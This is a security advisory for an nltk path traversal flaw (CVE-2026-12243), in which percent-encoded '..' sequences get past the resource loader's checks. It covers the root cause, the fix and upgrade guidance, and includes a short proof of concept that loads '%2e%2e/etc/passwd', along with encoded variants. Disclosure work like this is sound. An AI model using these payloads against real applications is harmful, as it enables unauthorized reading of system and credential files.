CVE-2026-12243: nltk Arbitrary File Read via Percent-Encoded Path Traversal
NLTK's resource loader accepts percent-encoded dot-dot sequences like %2e%2e that bypass its safety checks before decoding, letting an attacker read any file the process can access.

The problem
nltk.data.load() and nltk.data.find() in nltk versions before 3.10.0 validate the resource name string before decoding it. The _UNSAFE_NO_PROTOCOL_RE regex correctly blocks literal ../ traversal sequences but never sees the decoded form.
url2pathname() is called after the check, so %2e%2e decodes to .. at filesystem access time. Any application that passes user-controlled input to these functions is affected. With the default pathsec.ENFORCE=False setting, there is no secondary safety net at the open() stage either.
Proof of concept
A working proof-of-concept for CVE-2026-12243 in nltk, with the exact payload below.
import nltk.data
nltk.data.path = ["/home/user/nltk_data"]
# All four variants bypass _UNSAFE_NO_PROTOCOL_RE and decode identically:
# %2e%2e/secret -> ../secret
# .%2e/secret -> ../secret
# %2e./secret -> ../secret
# %2E%2E/secret -> ../secret
data = nltk.data.load("%2e%2e/etc/passwd", format="raw")
print(data)
# b'root:x:0:0:root:/root:/bin/bash\n...'The root cause is a decode-after-check ordering bug (CWE-22). The safety regex operates on the raw, still-encoded string, so %2e%2e is invisible to it. url2pathname() then decodes the string into a real traversal path before os.path.join() and os.path.exists() run, completing the escape from the NLTK data directory.
The patch in commit aec4fce (PR #3522) calls urllib.parse.unquote() on the resource name before any validation, so the regex and path checks always see the fully decoded string. This closes all encoding variants in one place.
The fix
Upgrade nltk to 3.10.0. The fix decodes the resource name with urllib.parse.unquote() before running path safety checks, so all percent-encoded traversal variants are caught. If an immediate upgrade is not possible, validate and reject any resource name containing %2e, %2f, or %5c before passing it to nltk.data.load() or nltk.data.find().
Related research
- high · 7.5CVE-2026-12072CVE-2026-12072: NLTK NKJPCorpusReader Path Traversal Arbitrary File Read
- high · 7.5CVE-2026-12061CVE-2026-12061: NLTK ReviewsCorpusReader Quadratic ReDoS
- high · 8.6CVE-2026-12075CVE-2026-12075: nltk DNS-Rebinding SSRF Filter Bypass
- highatomic-agents-stack: Dashboard HTTP Server Path Traversal Allows Arbitrary File Read